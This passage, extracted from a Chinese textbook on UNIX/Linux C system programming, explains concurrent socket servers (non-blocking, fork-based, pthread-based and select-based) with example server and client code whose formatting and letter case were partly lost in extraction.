%15s\n",src,dst); void cleanup(int signo) struct pcap_stat stat; fflush(stdout); if(pcap_stats(pcap,&stat)<0) perror(pcap_geterr(pcap)); exit(0); printf("%d packets received by filter\n",stat.ps_recv); printf("%d packets dropped by kernel\n",stat.ps_drop);

59 第 5 章网络通信 213 exit(0); 程序运行结果如图 5.31 所示 图 5.31 例 5-8 运行结果 5.7 并发 socket 编程 由于套接字也是一种文件类型, 所以套接字相关函数默认时均采用阻塞方式操作, 但是在大多数情况下进程不会只拥有一个套接字, 若进程以阻塞方式操作其中之一的套接字时, 必将导致其他套接字因等待而无法使用, 也就是说在网络通信中进程每次只能处理一个客户请求 ( 使用一个套接字 ), 当上一个客户请求处理完成后, 才能处理下一个客户请求 显然这种阻塞方式效率较低, 不利于大规模网络应用 为此, 基于并发 socket 编程技术越来越受到关注 非阻塞并发模型 第 2 章曾经讨论到文件的访问方式一共有两种 : 阻塞方式和非阻塞方式, 套接字同样也具有这两种访问方式 由于非阻塞方式不能将操作进程阻塞, 这对于进程同时处理多个套接字 ( 等同文件 ) 极为重要, 所以把套接字相关函数的阻塞方式更改为非阻塞方式, 是实现并发套接字的一种方法 之前通过对套接字相关函数的讨论, 可知这些函数被划分为 4 类阻塞式操作 : 即输入类操作 (read recv 和 recvfrom) 输出类操作(write 和 send) 连接申请类操作(connect)

60 214 基于 UNIX/Linux 的 C 系统编程 和连接处理类操作 (accept) 其中由于 UDP 协议的特点, 其数据发送函数 sendto 将不产生阻塞 那么, 如何将这些函数更改为非阻塞方式呢? 若从文件的访问方式来考虑, 其操作相对简单, 只需通过函数 fcntl 设置套接字描述符的 O_NONBLOCK 标志后, 即可将此函数之后的操作方式更改为非阻塞方式 而在实际编程中也是这样 其设置代码如下 : int val; val=fcntl(sockfd,f_getfl,0); fcntl(sockfd,f_setfl,val O_NONBLOCK); 这里首先读取套接字描述符的信息, 然后在此基础上增加非阻塞标志, 最后再设置描述符的属性选项 那为什么不直接执行代码 fcntl(sockfd,f_setfl, O_NONBLOCK); 呢? 这是为了防止因设置新属性而更改了原有的属性选项, 比如套接字描述符通常具有 O_SYNC 属性, 若直接设置 O_NONBLOCK 属性, 则将会取消描述符本身的 O_SYNC 属性 非阻塞套接字的程序通常包含一段循环代码, 在循环中采用于轮询方式调用套接字的相关函数, 从而达到并发处理多个套接字的目的 其程序模板如下 : #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <stdlib.h> int main() int listenfd,connfd; pid_t pid; int BACKLOG=5; int val; /* 创建 TCP 套接字 */ if ((listenfd=socket(af_inet,sock_stream,0))==-1) perror("creating socket failed. "); exit(1); /* 绑定地址 */ bind(listenfd, ); /* 监听客户请求 */ listen(listenfd,backlog); val=fcntl(sockfd,f_getfl,0); /* 设置监听套接字为非阻塞方式 */ fcntl(listenfd,f_setfl,val O_NONBLOCK); while(1) /* 接受连接 */ if ((connfd=accept(sockfd,null,null))==-1) perror("acception failed."); exit(1);

61 第 5 章网络通信 215 val=fcntl(sockfd,f_getfl,0); /* 设置连接套接字为非阻塞方式 */ fcntl(connfd,f_setfl,val O_NONBLOCK); 这种模式在没有数据可以接收时, 可以进行其他的一些操作, 比如有多个 socket 时, 可以去查看其他 socket 有没有可以接收的数据 ; 但在实际应用中, 这种 I/O 模型的直接使用并不常见, 因为它需要不停地查询, 而这些查询大部分是无必要的调用, 白白浪费了系统资源 ( 尤其是 CPU 时间 ) 所以非阻塞方式并发模型有一定的应用局限, 但它对其他并发模型还是有借鉴意义的 多进程并发模型 众所周知, 网络通信中的服务器部分是网络软件的核心部分, 其设计的优劣将直接影响网络服务的效率 以系统编程的调度来审视 TCP 服务器程序, 不难看出服务器套接字进程在工作时至少需要两个套接字, 即用于接收客户端连接申请的监听套接字和用于接收客户端发送数据信息的连接套接字, 且套接字的数量也随着客户端数的增加而增加 而与这些套接字相关的函数在默认情况下均采用阻塞访问方式, 这就是说每一个对套接字操作的函数均可使服务器套接字进程阻塞, 而服务器进程常常疲于奔命 顾此失彼 这种一个进程服务于多个套接字的服务器模型显然不符合现实的需要, 那么能否增加进程的数量, 以实现对多个套接字的服务呢? 当然可以, 这就是多进程并发模型 以这种并发模型所构建的服务器, 通过创建专门的进程来处理每一个阻塞的套接字函数, 使得某个套接字一旦状态发生改变, 其所在的进程都能及时地被激活并完成相应操作, 从而实现了服务器中各套接字的并发处理 其程序模板如下 : #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <stdlib.h> main() int listenfd,connfd; pid_t pid; int BACKLOG=5; /* 创建 TCP 套接字 */ if ((listenfd=socket(af_inet,sock_stream,0))==-1) perror("creating socket failed. "); exit(1); /* 绑定地址 */ bind(listenfd, );

62 216 基于 UNIX/Linux 的 C 系统编程 /* 监听客户请求 */ listen(listenfd,backlog); while(1) /* 接受连接 */ if ((connfd=accept(sockfd,null,null))==-1) perror("acception failed."); exit(1); /* 创建子进程服务客户端 */ if ((pid=fork())>0 ) /* 父进程 */ closed(connfd); continue; else if (pid==0) /* 子进程 */ close(listenfd); exit(0); else printf("fork error\n"); exit(0); 从以上模板可看出, 产生新的子进程后, 父进程要关闭连接套接字, 而子进程关闭监听套接字 这样做主要基于以下两点原因 : 由于父进程只负责接收客户请求, 而子进程只负责处理客户请求, 关闭不需要的套接字可节省系统资源 并且, 父进程和子进程共享这些套接字, 如果它们都对这些套接字进行操作, 会产生不可预计的后果 另一个原因, 也是更重要的原因, 是为了正确地关闭连接 和文件描述符一样, 每个套接字描述符都有一个 引用计数, 引用计数 是指同时打开一描述符的次数 例如一个文件被同时打开两次, 则 引用计数 为 2 根据以上模板, 当 socket( ) 函数返回后,listenfd 的 引用计数 变为 2, 而系统只有在某描述符的 引用计数 为 0 时, 才真正关闭该描述符, 对于连接套接字而言, 系统此时才真正关闭该连接 当父进程关闭 connfd 时,connfd 的 引用计数 减 1, 当子进程关闭 connfd 时,connfd 的 引用计数 减为 0, 此时系统才会关闭该连接 实现步骤如下 : (1) 当服务器调用 accept( ) 函数, 阻塞并等待客户连接时, 其状态如图 5.32 所示

63 第 5 章网络通信 217 图 5.32 步骤 1 示意图 (2) 当 accept( ) 函数返回后, 服务器接受了客户连接并产生新的连接套接字 connfd, 此时状态如图 5.33 所示 图 5.33 步骤 2 示意图 (3) 然后服务器调用 fork( ) 函数, 产生新的子进程, 此时, 父进程和子进程共享 listenfd 和 connfd, 其状态如图 5.34 所示 图 5.34 步骤 3 示意图 (4) 然后, 父进程关闭连接套接字, 子进程关闭监听套接字, 其状态如图 5.35 所示 图 5.35 步骤 4 示意图

64 218 基于 UNIX/Linux 的 C 系统编程 此时, 子进程可通过该连接处理客户请求, 而父进程继续监听新的客户请求 采用多进程实现并发服务器是一种常见而且有效的方法 但在现实应用中, 服务器本身是不可以无限制地创建子进程与客户端建立连接的, 而且从并发能力 服务器的稳定性和资源利用等方面考虑, 这种不固定进程数的并发模型也是不可取的 所以合理设置模型中的进程数是选择该模型的重要内容之一 若进程数量设置过大, 势必将造成内存资源的浪费 ; 若设置过小, 则又达不到并发的效果 通常对进程数的确定, 需要充分考虑系统的并发程度 ( 客户端的请求总量 ) 并发时间( 单个请求的持续时间 ) 和并发频率分布 ( 在不同时段内客户端请求总量的变化程度 ), 在并发性能与系统稳定性 CPU 消耗与内存消耗中寻找这个平衡点 例 5-9 服务器等待客户连接, 连接成功后显示客户地址, 接着接收该客户的名字并显示, 然后接收来自客户的信息 ( 字符串 ), 将该字符串反转, 并将结果送回客户, 且服务器应具有同时处理多个客户的能力 当某个客户断开连接时, 打印所有该客户输入的数据 其程序代码如下 : #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <string.h> #include <malloc.h> #define MAXSIZE 100 #define PORT 2088 #define BACKLOG 10 void process_cli(int connectfd,struct sockaddr_in client); void savedata_r(char *recvbuf,int len,char *savebuf); int counter=0; int main(void) int listenfd,connectfd; struct sockaddr_in server,client; int client_len; pid_t nchild; //pthread_t tid; struct ARG *arg; // 创建监听套接字 if((listenfd=socket(af_inet,sock_stream,0))==-1) perror("create socket failed"); exit(0);

65 第 5 章网络通信 219 // 初始化地址结构 bzero(&server,sizeof(server)); server.sin_family=af_inet; server.sin_port=htons(port); server.sin_addr.s_addr=htonl(inaddr_any); // 绑定地址 if(bind(listenfd,(struct sockaddr *)&server,\ sizeof(struct sockaddr))==-1) perror("bind error"); exit(0); // 监听 if(listen(listenfd,backlog)==-1) perror("listen error"); exit(0); client_len=sizeof(struct sockaddr); while(1) // 接收 if((connectfd=accept(listenfd,(struct sockaddr *)&client,\ &client_len))==-1) perror("accept error"); exit(0); if ((nchild=fork())>0 ) /* 父进程 */ close(connectfd); continue; else if (nchild==0) /* 子进程 */ close(listenfd); process_cli(connectfd, client); exit(0); else printf("fork error\n"); exit(0); // 关闭监听 close(listenfd); void process_cli(int connectfd,struct sockaddr_in client)

66 220 基于 UNIX/Linux 的 C 系统编程 int recnumber,i; char buff[maxsize],temp[maxsize],cli_name[maxsize],savebuf[maxsize]; printf("connect from %s, port is %d \n", inet_ntop(af_inet,&client.sin_addr,buff,sizeof(buff)),\ ntohs(client.sin_port)); // 显示 connected client name if((recnumber=read(connectfd,cli_name,maxsize))>0) cli_name[recnumber-1]='\0'; printf("client's name is:%s\n",cli_name); else close(connectfd); printf("client disconnected.\n"); return; // 将接收到的 string 首位倒置并发送 client while((recnumber=read(connectfd,buff,maxsize))>0) savedata_r(buff,recnumber,savebuf); buff[recnumber] = '\0'; printf("received client (%s) message: %s\n", cli_name, buff); for(i=0;i<recnumber-1;i++) temp[i]=buff[recnumber-i-2]; temp[recnumber-1]='\0'; write(connectfd,temp,recnumber-1); printf("all of data from client (%s): %s\n",cli_name,savebuf); // 关闭连接 close(connectfd); void savedata_r(char *recvbuf,int len,char *savebuf) int k; for(k=0;k<len-1;k++) savebuf[counter++]=recvbuf[k]; savebuf[counter]=0; 客户端程序代码如下 : #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <stdio.h> #include <stdlib.h> #include <string.h>

67 第 5 章网络通信 221 #define PORT 2088 #define MAXLINE 100 int main(int argc, char *argv[]) int fd,n; char sendline[maxline],recvline[maxline]; struct hostent * he; struct sockaddr_in server; if (argc!= 2) printf("usage: %s <IP address>\n", argv[0]); exit(1); // 获取主机名 if ((he = gethostbyname(argv[1])) == NULL) perror("gethostbyname error."); exit(1); if ((fd = socket(af_inet, SOCK_STREAM, 0)) == -1) perror("create socket failed."); exit(1); // 初始化地址结构 bzero(&server, sizeof(server)); server.sin_family = AF_INET; server.sin_port = htons(port); server.sin_addr = *((struct in_addr *) he->h_addr);//inet_pton(af_inet, //argv[1],&server.sin_addr); 也行 // 连接到服务器 if (connect(fd, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) perror("connect failed!"); exit(1); else printf("connect Success!\n"); // 输入客户 name, 服务器显示 printf("input your name:"); if(fgets(sendline,maxline,stdin)!=null) write(fd,sendline,strlen(sendline)); // 循环从命令行读入一行字符串, 并发送到服务器 printf("input a string:"); while((fgets(sendline,maxline,stdin))!=null) // 发送数据到服务器 write(fd,sendline,strlen(sendline)); // 接收从服务器发来的数据

68 222 基于 UNIX/Linux 的 C 系统编程 if((n=recv(fd,recvline,maxline,0))==0) perror("server terminated prematurely!"); return; recvline[n]='\0'; printf("recieve data from server:%s\n",recvline); printf("input a string:"); //fputs(recvline,stdout); // 关闭 fd close(fd); exit(0); 服务器端程序运行结果如图 5.36 所示 客户端程序运行结果如图 5.37 所示 图 5.36 采用多进程并发模型的服务器端程序运行结果 图 5.37 客户端程序运行结果 同样, 基于多进程并发的服务器也存在一些不足, 主要表现在 3 个方面 : 消耗系统资源 这是因为每个进程都有自己的地址空间 执行堆栈和文件描述符等, 当创建进程时, 系统需要复制父进程的执行堆栈 文件描述符等给子进程, 这将产生一定的系统开销 倘若当处理客户的时间较短, 且客户的连接数过多时, 则系统需要将大部分时间花在创建进程和终止进程上, 进而缩减了真正服务的时间 进程状态无法掌握 由于系统本身的原因, 父进程是无法监控其所生成的子进程的, 当某一进程发生延迟 长期等待或异常情况时, 其父进程也将束手无策, 只能求助于操作系统本身的健壮性了 进程数无法弹性控制 最大进程数的确定对整个服务器的并发程度尤为重要, 所编程序可以控制最大的进程数, 但是不能根据需要自主弹性调节进程数 多线程并发模型 多线程并发模型是对多进程并发模型的改进 这是由于线程的系统开销小 切换时间

69 第 5 章网络通信 223 短, 对于那些需要处理大量客户的服务器而言具有更大的优势, 所以用线程来取代进程 并发操作套接字应是一个不错的选择 实现多线程并发服务器的基本过程是 : 当连接建立后, 服务器调用 pthread_create 函数产生新的线程, 由新线程处理客户请求, 同时主线程等待另一客户的连接请求 其程序模板如下 : #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> #include <stdlib.h> #include <pthread.h> void *start_routine(void *arg); main() int listenfd,connfd; pthread_t thread; type arg; int BACKLOG=5; /* 定义最大允许连接的数量 */ if ((listenfd=socket(af_inet,sock_stream,0))==-1) /* 产生套接字 */ perror("creating socket failed. "); exit(1); bind(listenfd, );/* 绑定套接字到相应地址 */ listen(listenfd,backlog);/* 监听网络 */ while(1) if ((connfd=accept(sockfd,null,null))==-1) /* 接受客户连接 */ perror("acception failed. "); exit(1); /* 一旦连接, 产生新线程服务客户 然后关闭连接套接字并继续接受下一客户连接 */ if (pthread_create(&thread,null,start_routine,(void *)&arg)) exit(1); 由以上模板可看出, 其结构比多进程服务器更简单 这是因为所有线程共享打开的描述符, 主线程不能关闭连接套接字, 新线程也不能关闭监听套接字 任何一个线程关闭连接套接字, 都将导致系统关闭该连接 由于同一进程下的多个线程可以共享相同的全局变量等信息, 这就带来了同步问题 为了避免多个线程的访问冲突, 使用同步机制是必需的 但是同步机制并不能解决线程中所有的同步问题, 比如参数传递问题就是一个典型的特例

70 224 基于 UNIX/Linux 的 C 系统编程 传递参数给一个新线程并不只是函数的参数传递问题, 这需要考虑线程本身的特点 在本书第 4 章已经提到, 能够传递参数给线程的函数主要是 pthread_create 函数, 但是该函数只能允许传递给执行函数一个参数 所以, 若需要传递多个数据时, 则需将这些数据封装在一个结构中, 然后再将该结构传递给执行函数 比如 : void *start_routine(void *arg); struct ARG /* 定义结构 ARG*/ int connfd; int other; /* 其他数据 */ ; main() int listenfd,connfd; pthread_t thread; ARG arg; while(1) if ((connfd=accept(sockfd,null,null))==-1) /* 接受客户连接 */ perror("acception failed."); exit(1); arg.connfd=connfd; /* 设置参数 */ if (pthread_create(&thread,null,start_routine,(void *)&arg)) /* 产生线程 */ printf("create thread error.\n"); exit(1); void *start_routine( void *arg) /* 实现线程所执行的函数 */ ARG info; info.connfd=((arg *)arg)->connfd; /* 取得相应参数 */ info.other=((arg *)arg)->other; /* 处理客户请求 */ close(info.connfd); /* 关闭连接套接字 */ pthread_exit(null); /* 退出线程 */ 此程序片段中的 ARG 结构就是为线程传递数据的载体, 可以将多个数据传入线程体内, 且由于其具有全局性, 所以该进程下生成的所有线程都可以共享该结构, 而传递给线程的参数则是指向该结构体的指针 但在实际应用中, 其效果并不理想, 该段程序无法同时处理多个客户 其原因主要在于, 当有多个客户需要处理时, 就意味着该程序需要同时处理多个线程, 而传递给线程执行函数的参数是以指针形式传递的, 且这些指针均指向 ARG 结构, 若一线程修改了 arg 内容, 则另一线程也将会立即体现, 这就造成了访问冲突 当然, 可以用互斥锁 条件变量等同步机制来避免访问冲突, 但是这种方式严重影响

71 第 5 章网络通信 225 线程之间的并发效率, 不能有效发挥多线程的优势, 所以是不可取的 那么, 还有没有更好的办法呢? 有, 这种方法就是在主线程上先为每个新线程分配存储 arg 的空间, 然后再将 arg 作为参数传递给新线程, 使得每个线程都拥有各自的参数空间, 彼此互不干扰, 当新线程使用完后再释放 arg 空间 这种以空间换时间的做法虽然在执行中增加了额外的辅助空间, 但在线程的并发度和执行效率上有着显著的改善 比如 : void *start_routine(void *arg); struct ARG /* 定义结构 ARG*/ int connfd; int other; ; main() int listenfd,connfd; pthread_t thread; ARG *arg; while (1) if ((connfd=accept(sockfd,null,null))==-1) /* 接受客户连接 */ perror("acception failed. "); exit(1); arg=new ARG; /* 设置参数 */ arg->connfd=connfd; if (pthread_create(&thread,null,start_routine,(void *)&arg)) /* 产生线程 */ printf("create thread error.\n"); exit(1); void *start_routine(void *arg) /* 实现线程所执行的函数 */ ARG info; info.connfd=((arg *)arg)->connfd; /* 取得相应参数 */ info.other=((arg *)arg)->other; /* 处理客户请求 */ close(info.connfd); /* 关闭连接套接字 */ delete arg; pthread_exit(null); /* 退出线程 */ 尽管多线程并发的执行效率明显高于多进程并发, 但它也存在自身的不足 : 当各线程互斥访问某共享资源时, 其程序运行速度将明显降低 对线程的管理需要额外的 CPU 开销, 若线程数量过多, 则给系统带来的额外负担将抵消多线程的优点 对于较长时间的等待或资源竞争, 都可能造成线程的死锁

72 226 基于 UNIX/Linux 的 C 系统编程 对全局变量的访问, 必须使用同步机制以避免访问冲突, 但同步机制也会降低线程间的并发效率 例 5-10 采用多线程并发模型编写服务器端程序, 其要求与例 5-9 相同 include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <string.h> #include <malloc.h> #include <pthread.h> #define MAXSIZE 100 #define PORT 2088 #define BACKLOG 10 static void* doit(void *arg);// 线程执行函数 void process_cli(int connectfd,struct sockaddr_in client); // 处理函数 call by doit() void savedata_r(char *recvbuf,int len,char *savebuf); struct ARG int connfd; struct sockaddr_in client; ; static pthread_key_t key; static pthread_once_t once=pthread_once_init; static void destructor(void * ptr) free(ptr); static void getkey_once(void) // 创建键, 通过 key 指针返回,destructor 所指函数将由为该键存放过某个值的每个线程在终 // 止时调用 pthread_key_create(&key,destructor); typedef struct INDEX int index; TSD_INDEX; int main(void) int listenfd,connectfd; struct sockaddr_in server,client;

73 第 5 章网络通信 227 int client_len; pthread_t tid; struct ARG *arg; // 创建监听套接字 if((listenfd=socket(af_inet,sock_stream,0))==-1) perror("create socket failed"); exit(0); // 初始化地址结构 bzero(&server,sizeof(server)); server.sin_family=af_inet; server.sin_port=htons(port); server.sin_addr.s_addr=htonl(inaddr_any); // 绑定地址 if(bind(listenfd,(struct sockaddr *)&server,\ sizeof(struct sockaddr))==-1) perror("bind error"); exit(0); // 监听 if(listen(listenfd,backlog)==-1) perror("listen error"); exit(0); client_len=sizeof(struct sockaddr); while(1) // 接收 if((connectfd=accept(listenfd,(struct sockaddr *)&client,\ &client_len))==-1) perror("accept error"); exit(0); arg=(struct ARG *)malloc(sizeof(struct ARG)); if(arg==null) printf("malloc failed!\n"); arg->connfd=connectfd; memcpy((void *)&arg->client,(void *)&client,\ sizeof(struct sockaddr_in)); // 创建线程为客户服务 if(pthread_create(&tid,null,&doit,(void *)arg)>0) perror("pthread_creat() error"); free(arg); continue; // 关闭监听 close(listenfd);

74 228 基于 UNIX/Linux 的 C 系统编程 static void *doit(void *arg) struct ARG *info; info=(struct ARG *)arg; process_cli(info->connfd,info->client); free(arg); pthread_exit(null); void process_cli(int connectfd,struct sockaddr_in client) int recnumber; char buff[maxsize],temp[maxsize],cli_name[maxsize],savebuf[maxsize]; printf("connect from %s, port is %d \n", inet_ntop(af_inet,&client.sin_addr,buff,sizeof(buff)),\ ntohs(client.sin_port)); // 显示 connected client name if((recnumber=read(connectfd,cli_name,maxsize))>0) cli_name[recnumber-1]='\0'; printf("client's name is:%s\n",cli_name); else close(connectfd); printf("client disconnected.\n"); return; // 将接收到的 string 首位倒置并发送 client while((recnumber=read(connectfd,buff,maxsize))>0) savedata_r(buff,recnumber,savebuf); buff[recnumber] = '\0'; printf("received client (%s) message: %s\n", cli_name, buff); for(int i=0;i<recnumber-1;i++) temp[i]=buff[recnumber-i-2]; temp[recnumber-1]='\0'; write(connectfd,temp,recnumber-1); printf("all of data from client (%s): %s\n",cli_name,savebuf); // 关闭连接 close(connectfd); void savedata_r(char *recvbuf,int len,char *savebuf) TSD_INDEX *data; pthread_once(&once,getkey_once); // 获取键关联的值 if((data=(tsd_index *)pthread_getspecific(key))==null) data=(tsd_index *)calloc(1,sizeof(tsd_index));// 清零 pthread_setspecific(key,data);// 存放键关联的值 -- tsd 的指针

75 第 5 章网络通信 229 data->index=0; for(int k=0;k<len-1;k++) savebuf[data->index++]=recvbuf[k]; savebuf[data->index]=0; 客户端程序代码同上例 服务器端程序运行结果如图 5.38 所示 客户端程序运行结果如图 5.39 所示 图 5.38 采用多线程并发模型的服务器端程序运行结果 图 5.39 客户端程序运行结果 IO 多路复用并发模型 引入多进程或多线程技术虽然可以有效解决因进程阻塞或线程阻塞所带来的一系列问题, 但是它们都存在一个缺陷, 就是它们都需要建立多个并行的处理单元 ( 可能以进程的形式, 也可能以线程的形式 ) 当客户端增加时, 其处理单元也随之增加, 系统的负载也会逐渐地转移到并行单元的现场切换上, 对于那些硬件受限的嵌入式系统来说, 这一问题是不容忽视的 为了降低系统切换所带来的不必要的开销, 就必须降低并发处理单元的数量, 将系统的主要处理能力集中在核心业务上, 同时也要避免因进程阻塞或线程阻塞所带来的问题, 于是 IO 多路复用并发模型出现了 在这种模型下, 系统在开始时建立了多个不同工作类型的处理单元, 如处理连接的单元 处理业务的单元等 当客户端连接请求到来时, 系统便将客户端的连接放到一个状态池 ( 描述符集 ) 中, 并通过一个处理单元在该状态池中轮询处理各客户端的连接状态 与之前的并发模型相比, 客户端的增加并不会造成系统并行处理单元的增加, 系统不必创建新的进程或线程, 也不必维护这些进程或线程, 其处理能力与 CPU 和内存的速度直接相关, 所以大大降低了系统的开销 其程序模板如下 : main()

76 230 基于 UNIX/Linux 的 C 系统编程 int fd, allfd[max]; fd_set fdrset,fdwset; struct timeval timeout= ; /* 定义超时值 */ int maxfd=maxsocket+1; /* 定义所监视的描述符上限 (maxfd)*/ while (1) FD_ZERO(&fdRSet); /* 清空读描述符集 */ FD_SET(fd,&fdRSet); FD_ZERO(&fdWSet); /* 清空写描述符集 */ FD_SET(fd,&fdWSet); switch (select(maxfd,&fdrset,&fdwset,&timeout)) /* 调用 select() 函数 */ case -1 : handle exception; /* 处理异常 */ case 0: handle timeout; /* 处理超时 */ default: for (all of socket) if (FD_ISSET(allfd[i],&fdRSet)) /* 处理可读的描述符 */ read from the socket if (FD_ISSET(allfd[i],&fdWSet)) /* 处理可写的描述符 */ write to the socket 模板中所定义的 fdrset 和 fdwset 即为两个描述符集, 函数 select 则是实现 IO 多路复用的关键 当调用 select 函数后, 应用程序将阻塞, 等待有数据可读或可写, 待 select 函数返回后, 便可调用相应的读操作或写操作 Select 函数允许进程指示系统内核等待多个事件中的任一事件发生, 并仅在一个或多个事件发生或经过某一指定的时间后才唤醒进程 该函数所操作的描述符不仅仅只是套接字, 而是能够适用于所有描述符, 包括文件描述符 其函数语法说明如表 5.17 所示 表 5.17 select 函数语法要点说明 所需头文件 函数原型 参数 #include <sys/time.h> #include <stdio.h> int select(int nfds,fd_set *readfds, fd_set *writefds, fd_set *errorfds, struct timeval *timeout); ndfs: 函数监视描述符数的最大值 根据进程中打开的描述符数而定, 一般设为要监视描述符的最大数加 1 当函数刚开始设计时, 操作系统常对每个进程可用的最大描述符数上限作出限制 (4.2BSD 的限制为 31),select 函数也就用相同的限制值 目前, UNIX 版本对每个进程的描述符数根本不作限制 ( 仅受内存量和管理性限制 )

77 第 5 章网络通信 231 续表 参数 返回值 readfds: 函数监视的可读描述符集合 有以下任何一种情况均表示可读 套接字接收缓冲区中的数据字节数大于等于套接字接收缓冲区限度的当前值, 对于 TCP/UDP 默认值为 1 面向连接的一个方向的读操作关闭 ( 接收了 FIN 的 TCP 连接 ) 套接字是一个监听套接字, 其已完成的连接数为非 0 有一个套接字错误待处理 writefds: 函数监视的可写描述符集合 有以下任何一种情况均表示可写 套接字发送缓冲区中的可用空间字节数大于等于套接字发送缓冲区限度的当前值, 且套接字已连接 ( 如 TCP), 或套接字不要求连接 (UDP) 面向连接的一个方向的写操作关闭 对这样的套接字的写操作将产生信号 SIGPIPE 有一个套接字错误待处理 对这样的套接字的写操作将不阻塞且返回一个错误 ( 1) errorfds: 函数监视的异常描述符集合 如果一个套接字存在带外数据或者仍处于带外标记, 那它有异常条件待处理 timeout:select 函数的超时结束时间 如果成功, 返回总的位数, 这些位对应已准备好的描述符 否则返回 1, 并在 errno 中设置相应错误码 采用 select( ) 函数实现 IO 多路复用的基本步骤如下 : 清空描述符集合 建立需要监视的描述符与描述符集合的联系 调用 select( ) 函数 检查所有需要监视的描述符, 利用 FD_ISSET 宏判断是否已准备好 对已准备好的描述符进行 IO 操作 此外模板中还有一些宏操作, 如 : FD_ZERO(fd_set * fdset) 清空 fdset 与所有描述符的联系 FD_SET(int fd, fd_set * fdset) 建立描述符 fd 与 fdset 的联系 FD_CLR(int fd, fd_set * fdset) 撤销描述符 fd 与 fdset 的联系 FD_ISSET(int fd, fd_set * fdset) 检查与 fdset 联系的描述符 fd 是否可读写, 返回非 0 表示可读写 除了 select 以外,IO 复用的还可以用 poll epoll kqueue(freebsd) 来实现, 后两者在处理大量连接时性能上有很大的提高 尽管此种模型的系统开销较小, 但也存在不足 : 此模型只有在处理完一个客户后, 才能处理其他客户的请求, 而且在处理客户请求时, 不能让它阻塞到其他的系统调用上, 否则将会产生连锁阻塞 对于某些处理客户请求的时间较短 实时性要求不高的网络服务器, 此模型会有上佳表现, 但对于其他的应用环境, 此模型则差强人意 例 5-11 利用 IO 复用技术, 实现同时向多个客户提供服务, 其要求与例 5-9 相同 #include <unistd.h> #include <sys/types.h> #include <sys/socket.h>

78 232 基于 UNIX/Linux 的 C 系统编程 #include <netdb.h> #include <netinet/in.h> #include <arpa/inet.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <string.h> #include <malloc.h> #include <sys/select.h> #include<fcntl.h> #define MAXSIZE 100 #define PORT 2088 #define BACKLOG 10 typedef struct CLIENT int fd; char *name; struct sockaddr_in client_addr; char *data; CLIENT; void process_cli(client *client, char *recvbuf, int len); //void savedata(char *recvbuf,int len,char *savebuf); int main(void) int i, maxi, maxfd, sockfd; int nready; ssize_t n; fd_set rset, allset; int listenfd,connectfd; struct sockaddr_in server,addr; CLIENT client[fd_setsize]; char recvbuf[maxsize],buff[maxsize]; int sin_size; // 创建监听套接字 if((listenfd=socket(af_inet,sock_stream,0))==-1) perror("create socket failed\n"); exit(0); //int flag=fcntl(sockfd,f_getfl,0); //fcntl(sockfd,f_setfl,flag O_NONBLOCK); int opt=so_reuseaddr; setsockopt(listenfd,sol_socket,so_reuseaddr,&opt,sizeof(opt));//socket 重 // 用, 不再等待 close_wait // 初始化地址结构 bzero(&server,sizeof(server)); server.sin_family=af_inet;

79 第 5 章网络通信 233 server.sin_port=htons(port); server.sin_addr.s_addr=htonl(inaddr_any); // 绑定地址 if(bind(listenfd,(struct sockaddr *)&server,sizeof(struct sockaddr))==-1) perror("bind error\n"); exit(0); // 监听 if(listen(listenfd,backlog)==-1) perror("listen error\n"); exit(0); maxfd = listenfd; maxi = -1; for (i =0; i< FD_SETSIZE; i++) client[i].fd = -1; FD_ZERO(&allset);// 清零 FD_SET(listenfd, &allset);// 打开 while (1) rset = allset; nready = select (maxfd+1, &rset, NULL, NULL, NULL); if (FD_ISSET(listenfd, &rset)) sin_size = sizeof(addr); if ((connectfd = accept(listenfd, (struct sockaddr *)&addr, &sin_size)) == -1) perror("accept error\n"); continue; for (i = 0; i < FD_SETSIZE; i++) if (client[i].fd < 0) client[i].fd = connectfd; client[i].name =(char*)malloc(maxsize); client[i].client_addr = addr; client[i].data =(char*)malloc(maxsize); client[i].name[0] = '\0'; client[i].data[0] = '\0'; printf("you got a connect from :%s port:%d\n", \ inet_ntoa(client[i].client_addr.sin_addr),\ ntohs(client[i].client_addr.sin_port)); //printf("connect from %s, port is %d \n",\ inet_ntop(af_inet,&client[i].client_addr.sin_addr,\ buff,sizeof(buff)),ntohs(client[i].client_addr.sin_port)); break;

80 234 基于 UNIX/Linux 的 C 系统编程 if (i == FD_SETSIZE) printf("too many cllients.\n"); FD_SET(connectfd, &allset); if (connectfd > maxfd) maxfd = connectfd; if (i > maxi) maxi =i; if ( -- nready <=0) continue; for (i=0; i<=maxi;i++) if ((sockfd = client[i].fd) < 0) continue; if (FD_ISSET(sockfd, &rset)) if (( n = recv(sockfd, recvbuf, MAXSIZE, 0))==0) close(sockfd); printf("client (%s) closed connection. User s data: %s\n",\ client[i].name, client[i].data); FD_CLR(sockfd, &allset); client[i].fd = -1; free(client[i].name); free(client[i].data); else process_cli(&client[i], recvbuf, n); if ( --nready <=0 ) break; close(listenfd); void process_cli(client *client, char *recvbuf, int len) char sendbuf[maxsize]; recvbuf[len-1]=0; if(strlen(client->name)==0) memcpy(client->name,recvbuf,len); printf("client's name is %s\n",client->name); return; printf("received client (%s) message :%s \n",client->name,recvbuf); strcat(client->data,recvbuf); send(client->fd,recvbuf,strlen(recvbuf),0); 客户端程序代码同上例 服务器端运行结果如图 5.40 所示 客户端程序运行结果如图 5.41 所示

